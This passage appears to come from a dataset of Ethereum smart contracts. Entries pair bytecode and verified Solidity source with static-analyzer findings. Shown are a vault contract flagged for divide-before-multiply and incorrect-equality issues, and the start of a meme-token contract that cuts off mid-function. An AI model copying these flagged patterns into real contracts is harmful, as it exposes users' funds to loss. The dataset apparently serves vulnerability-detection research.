05050506040513d60208110156111f457600080fd5b81019080805190602001909291905050508314611279576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f446f672f66696c652d696c6b2d6e65712d636c69702e696c6b0000000000000081525060200191505060405180910390fd5b806001600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611341565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f446f672f66696c652d756e7265636f676e697a65642d706172616d000000000081525060200191505060405180910390fd5b81837f4ff2caaa972a7c6629ea01fae9c93d73cc307d13ea4c369f9bbbb7f9b7e9461d83604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a3505050565b600060016003541461140f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f446f672f6e6f742d6c697665000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000807f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b73ffffffffffffffffffffffffffffffffffffffff16632424be5c87876040518363ffffffff1660e01b8152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050604080518083038186803b1580156114a057600080fd5b505afa1580156114b4573d6000803e3d6000fd5b505050506040513d60408110156114ca57600080fd5b810190808051906020019092919080519060200190929190505050915091506114f1611dbd565b600160008881526020019081526020016000206040518060800160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820154815260200160038201548152505090506000806000807f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b73ffffffffffffffffffffffffffffffffffffffff1663d9638d368c6040518263ffffffff1660e01b81526004018082815260200191505060a06040518083038186803b1580156115fc57600080fd5b505afa158015611610573d6000803e3d6000fd5b505050506040513d60a081101561162657600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291905050509091929350905080945081935082955050505060008111801561169357506116878684611d5d565b6116918883611d5d565b105b611705576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f446f672f6e6f742d756e7361666500000000000000000000000000000000000081525060200191505060405180910390fd5b60055460045411801561171f575084606001518560400151115b611791576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f446f672f6c69717569646174696f6e2d6c696d69742d6869740000000000000081525060200191505060405180910390fd5b60006117ad600554600454038760600151886040015103611d89565b90506117e0878760200151866117cb85670de0b6b3a7640000611d5d565b816117d257fe5b04816117da57fe5b04611d89565b94508487111561186957826117f786890386611d5d565b101561180557869450611868565b826118108686611d5d565b1015611867576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611dfc602a913960400191505060405180910390fd5b5b5b50506000856118788886611d5d565b8161187f57fe5b049050600081116118f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f446f672f6e756c6c2d61756374696f6e0000000000000000000000000000000081525060200191505060405180910390fd5b7f8000000000000000000000000000000000000000000000000000000000000000841115801561194857507f80000000000000000000000000000000000000000000000000000000000000008111155b6119ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f446f672f6f766572666c6f77000000000000000000000000000000000000000081525060200191505060405180910390fd5b7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b73ffffffffffffffffffffffffffffffffffffffff16637bab3f408c8c8860000151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866000038a6000036040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b158015611ac357600080fd5b505af1158015611ad7573d6000803e3d6000fd5b505050506000611ae78585611d5d565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663697efb78826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611b5e57600080fd5b505af1158015611b72573d6000803e3d6000fd5b505050506000670de0b6b3a7640000611b8f838960200151611d5d565b81611b9657fe5b049050611ba560055482611da3565b600581905550611bb9876060015182611da3565b600160008f815260200190815260200160002060030181905550866000015173ffffffffffffffffffffffffffffffffffffffff1663898eb26782858f8f6040518563ffffffff1660e01b8152600401808581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff168152602001945050505050602060405180830381600087803b158015611c6e57600080fd5b505af1158015611c82573d6000803e3d6000fd5b505050506040513d6020811015611c9857600080fd5b8101908080519060200190929190505050995050888b73ffffffffffffffffffffffffffffffffffffffff168d7f85258d09e1e4ef299ff3fc11e74af99563f022d21f3f940db982229dc2a3358c8589868c60000151604051808581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390a450505050505050509392505050565b60055481565b6000828284039150811115611d5757600080fd5b92915050565b600080821480611d7a5750828283850292508281611d7757fe5b04145b611d8357600080fd5b92915050565b600081831115611d995781611d9b565b825b905092915050565b6000828284019150811015611db757600080fd5b92915050565b6040518060800160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016000815260200160008152509056fe446f672f64757374792d61756374696f6e2d66726f6d2d7061727469616c2d6c69717569646174696f6ea2646970667358221220754b5334ca9fce7b8537bcb8eb9bcf3b780458d72f8c2ab4f11d1379961ec2e664736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
2,514
0x08b9d0cf004c0b32380139d45e2e1252b24dd009
/** *Submitted for verification at Etherscan.io on 2020-11-21 */ // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{ value : amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract pVaultEthV2 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct Reward { uint256 amount; uint256 timestamp; uint256 totalDeposit; } mapping(address => uint256) public _lastCheckTime; mapping(address => uint256) public _rewardBalance; mapping(address => uint256) public _depositBalances; uint256 public _totalDeposit; Reward[] public _rewards; string public _vaultName; IERC20 public token1; address payable public feeAddress; address payable public vaultAddress; uint32 public feePermill = 5; uint256 public delayDuration = 7 days; bool public withdrawable; address public gov; uint256 public _rewardCount; event SentReward(uint256 amount); event Deposited(address indexed user, uint256 amount); event ClaimedReward(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); constructor (address _token1, address payable _feeAddress, address payable _vaultAddress, string memory name) { token1 = IERC20(_token1); feeAddress = _feeAddress; vaultAddress = _vaultAddress; _vaultName = name; gov = msg.sender; } modifier onlyGov() { require(msg.sender == gov, "!governance"); _; } function setGovernance(address _gov) external onlyGov { gov = _gov; } function setToken1(address _token) external onlyGov { token1 = IERC20(_token); } function setFeeAddress(address payable _feeAddress) external onlyGov { feeAddress = _feeAddress; } function setVaultAddress(address payable _vaultAddress) external onlyGov { vaultAddress = _vaultAddress; } function setFeePermill(uint32 _feePermill) external onlyGov { feePermill = _feePermill; } function setDelayDuration(uint32 _delayDuration) external onlyGov { delayDuration = _delayDuration; } function setWithdrawable(bool _withdrawable) external onlyGov { withdrawable = _withdrawable; } function setVaultName(string memory name) external onlyGov { _vaultName = name; } function balance0() external view returns (uint256) { return address(this).balance; } function balance1() external view returns (uint256) { return token1.balanceOf(address(this)); } function getReward(address userAddress) internal { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (lastCheckTime > 0 && _rewards.length > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } _rewardBalance[userAddress] = rewardBalance; _lastCheckTime[msg.sender] = block.timestamp; } function deposit() public payable { require(msg.value > 0, "can't deposit 0"); uint256 amount = msg.value; getReward(msg.sender); uint256 feeAmount = amount.mul(feePermill).div(1000); uint256 realAmount = amount.sub(feeAmount); if ( ! feeAddress.send(feeAmount)) { feeAddress.transfer(feeAmount); } if ( ! vaultAddress.send(realAmount)) { vaultAddress.transfer(realAmount); } _depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount); _totalDeposit = _totalDeposit.add(realAmount); emit Deposited(msg.sender, realAmount); } function sendReward(uint256 amount) external { require(amount > 0, "can't reward 0"); require(_totalDeposit > 0, "totalDeposit must bigger than 0"); token1.safeTransferFrom(msg.sender, address(this), amount); Reward memory reward; reward = Reward(amount, block.timestamp, _totalDeposit); _rewards.push(reward); emit SentReward(amount); } function claimReward(uint256 amount) external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); if (amount > rewardLimit) { amount = rewardLimit; } _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount); token1.safeTransfer(msg.sender, amount); } function claimRewardAll() external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit); token1.safeTransfer(msg.sender, rewardLimit); } function getRewardAmount(address userAddress) public view returns (uint256) { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (_rewards.length > 0) { if (lastCheckTime > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) { uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit); timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration); rewardBalance = rewardBalance.sub(timedAmount); if (j == 0) break; } } return rewardBalance; } }
0x6080604052600436106101c25760003560e01c8063adc3b31b116100f7578063c78b6dea11610095578063d86e1ef711610064578063d86e1ef714610623578063e2aa2a8514610653578063e4186aa614610668578063fab980b71461069b576101c2565b8063c78b6dea146105b0578063cbeb7ef2146105da578063d0e30db014610606578063d21220a71461060e576101c2565b8063b79ea884116100d1578063b79ea88414610523578063b8f6e84114610556578063b8f792881461056b578063c45c4f581461059b576101c2565b8063adc3b31b146104b1578063ae169a50146104e4578063b5984a361461050e576101c2565b806344a040f51161016457806385535cc51161013e57806385535cc5146103d05780638705fcd4146104035780638f1e940514610436578063ab033ea91461047e576101c2565b806344a040f51461035f5780635018830114610392578063637830ca146103bb576101c2565b806327b5b6a0116101a057806327b5b6a0146102d45780634127535814610307578063430bf08a1461031c57806344264d3d14610331576101c2565b806311cc66b2146101c757806312d43a511461027c5780631c69ad00146102ad575b600080fd5b3480156101d357600080fd5b5061027a600480360360208110156101ea57600080fd5b81019060208101813564010000000081111561020557600080fd5b82018360208201111561021757600080fd5b8035906020019184600183028401116401000000008311171561023957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610725945050505050565b005b34801561028857600080fd5b5061029161078e565b604080516001600160a01b039092168252519081900360200190f35b3480156102b957600080fd5b506102c26107a2565b60408051918252519081900360200190f35b3480156102e057600080fd5b506102c2600480360360208110156102f757600080fd5b50356001600160a01b03166107a6565b34801561031357600080fd5b506102916107b8565b34801561032857600080fd5b506102916107c7565b34801561033d57600080fd5b506103466107d6565b6040805163ffffffff9092168252519081900360200190f35b34801561036b57600080fd5b506102c26004803603602081101561038257600080fd5b50356001600160a01b03166107e9565b34801561039e57600080fd5b506103a761098c565b604080519115158252519081900360200190f35b3480156103c757600080fd5b5061027a610995565b3480156103dc57600080fd5b5061027a600480360360208110156103f357600080fd5b50356001600160a01b03166109f5565b34801561040f57600080fd5b5061027a6004803603602081101561042657600080fd5b50356001600160a01b0316610a69565b34801561044257600080fd5b506104606004803603602081101561045957600080fd5b5035610add565b60408051938452602084019290925282820152519081900360600190f35b34801561048a57600080fd5b5061027a600480360360208110156104a157600080fd5b50356001600160a01b0316610b10565b3480156104bd57600080fd5b506102c2600480360360208110156104d457600080fd5b50356001600160a01b0316610b8a565b3480156104f057600080fd5b5061027a6004803603602081101561050757600080fd5b5035610b9c565b34801561051a57600080fd5b506102c2610c04565b34801561052f57600080fd5b5061027a6004803603602081101561054657600080fd5b50356001600160a01b0316610c0a565b34801561056257600080fd5b506102c2610c7e565b34801561057757600080fd5b5061027a6004803603602081101561058e57600080fd5b503563ffffffff16610c84565b3480156105a757600080fd5b506102c2610cfc565b3480156105bc57600080fd5b5061027a600480360360208110156105d357600080fd5b5035610d78565b3480156105e657600080fd5b5061027a600480360360208110156105fd57600080fd5b50351515610f19565b61027a610f7e565b34801561061a57600080fd5b5061029161114f565b34801561062f57600080fd5b5061027a6004803603602081101561064657600080fd5b503563ffffffff1661115e565b34801561065f57600080fd5b506102c26111bb565b34801561067457600080fd5b506102c26004803603602081101561068b57600080fd5b50356001600160a01b03166111c1565b3480156106a757600080fd5b506106b06111d3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156106ea5781810151838201526020016106d2565b50505050905090810190601f1680156107175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b600a5461010090046001600160a01b03163314610777576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b805161078a906005906020840190611850565b5050565b600a5461010090046001600160a01b031681565b4790565b60006020819052908152604090205481565b6007546001600160a01b031681565b6008546001600160a01b031681565b600854600160a01b900463ffffffff1681565b6001600160a01b038116600090815260208181526040808320546001909252822054600454156109855781156108dd57600454600019015b6004818154811061082e57fe5b9060005260206000209060030201600101548310156108db576108c66108bf6004838154811061085a57fe5b9060005260206000209060030201600201546108b9600260008a6001600160a01b03166001600160a01b0316815260200190815260200160002054600486815481106108a257fe5b600091825260209091206003909102015490611261565b906112c3565b8390611305565b9150806108d2576108db565b60001901610821565b505b600454600019015b610918600954600483815481106108f857fe5b90600052602060002090600302016001015461130590919063ffffffff16565b4210156109835760006109316004838154811061085a57fe5b90506109606009546108b961095942610953600954600489815481106108f857fe5b9061135f565b8490611261565b905061096c838261135f565b9250816109795750610983565b50600019016108e5565b505b9392505050565b600a5460ff1681565b61099e336113a1565b60006109a9336107e9565b336000908152600160205260409020549091506109c6908261135f565b336000818152600160205260409020919091556006546109f2916001600160a01b0390911690836114a9565b50565b600a5461010090046001600160a01b03163314610a47576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b600a5461010090046001600160a01b03163314610abb576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610aed57600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600a5461010090046001600160a01b03163314610b62576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600a80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60016020526000908152604090205481565b610ba5336113a1565b6000610bb0336107e9565b905080821115610bbe578091505b33600090815260016020526040902054610bd8908361135f565b3360008181526001602052604090209190915560065461078a916001600160a01b0390911690846114a9565b60095481565b600a5461010090046001600160a01b03163314610c5c576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600a5461010090046001600160a01b03163314610cd6576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6008805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610d4757600080fd5b505afa158015610d5b573d6000803e3d6000fd5b505050506040513d6020811015610d7157600080fd5b5051905090565b60008111610dbe576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411610e15576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600654610e2d906001600160a01b0316333084611500565b610e356118dc565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a15050565b600a5461010090046001600160a01b03163314610f6b576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600a805460ff1916911515919091179055565b60003411610fc5576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b34610fcf336113a1565b600854600090610ff9906103e8906108b990859063ffffffff600160a01b90910481169061126116565b90506000611007838361135f565b6007546040519192506001600160a01b03169083156108fc029084906000818181858888f19350505050611071576007546040516001600160a01b039091169083156108fc029084906000818181858888f1935050505015801561106f573d6000803e3d6000fd5b505b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050506110da576008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110d8573d6000803e3d6000fd5b505b336000908152600260205260409020546110f49082611305565b336000908152600260205260409020556003546111119082611305565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a2505050565b6006546001600160a01b031681565b600a5461010090046001600160a01b031633146111b0576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600955565b600b5481565b60026020526000908152604090205481565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156112595780601f1061122e57610100808354040283529160200191611259565b820191906000526020600020905b81548152906001019060200180831161123c57829003601f168201915b505050505081565b600082611270575060006112bd565b8282028284828161127d57fe5b04146112ba5760405162461bcd60e51b81526004018080602001828103825260218152602001806119136021913960400191505060405180910390fd5b90505b92915050565b60006112ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611560565b6000828201838110156112ba576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60006112ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611602565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906113d4575060045415155b1561147957600454600019015b600481815481106113ee57fe5b906000526020600020906003020160010154831015611477576114626108bf6004838154811061141a57fe5b9060005260206000209060030201600201546108b960026000896001600160a01b03166001600160a01b0316815260200190815260200160002054600486815481106108a257fe5b91508061146e57611477565b600019016113e1565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526114fb90849061165c565b505050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261155a90859061165c565b50505050565b600081836115ec5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156115b1578181015183820152602001611599565b50505050905090810190601f1680156115de5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816115f857fe5b0495945050505050565b600081848411156116545760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156115b1578181015183820152602001611599565b505050900390565b61166e826001600160a01b0316611814565b6116bf576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106116fd5780518252601f1990920191602091820191016116de565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461175f576040519150601f19603f3d011682016040523d82523d6000602084013e611764565b606091505b5091509150816117bb576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561155a578080602001905160208110156117d757600080fd5b505161155a5760405162461bcd60e51b815260040180806020018281038252602a815260200180611934602a913960400191505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906118485750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928261188657600085556118cc565b82601f1061189f57805160ff19168380011785556118cc565b828001600101855582156118cc579182015b828111156118cc5782518255916020019190600101906118b1565b506118d89291506118fd565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b808211156118d857600081556001016118fe56fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220a27f8fc0a819960894d79559af932e942b4179487f394ba6588e55b7fa61e6b064736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
2,515
0x56351bc967343df52e00b25d7163080d12e4cc8a
/** *Submitted for verification at Etherscan.io on 2022-05-01 */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED // https://wojakinu.club // https://t.me/wojakinuportal // https://twitter.com/wojakinutoken abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract WOJAKINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "WOJAKINU"; string private constant _symbol = "WOJAKINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x42cb7A3C34183f3bbB551b8aB9596AF8fD43dDbC); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the 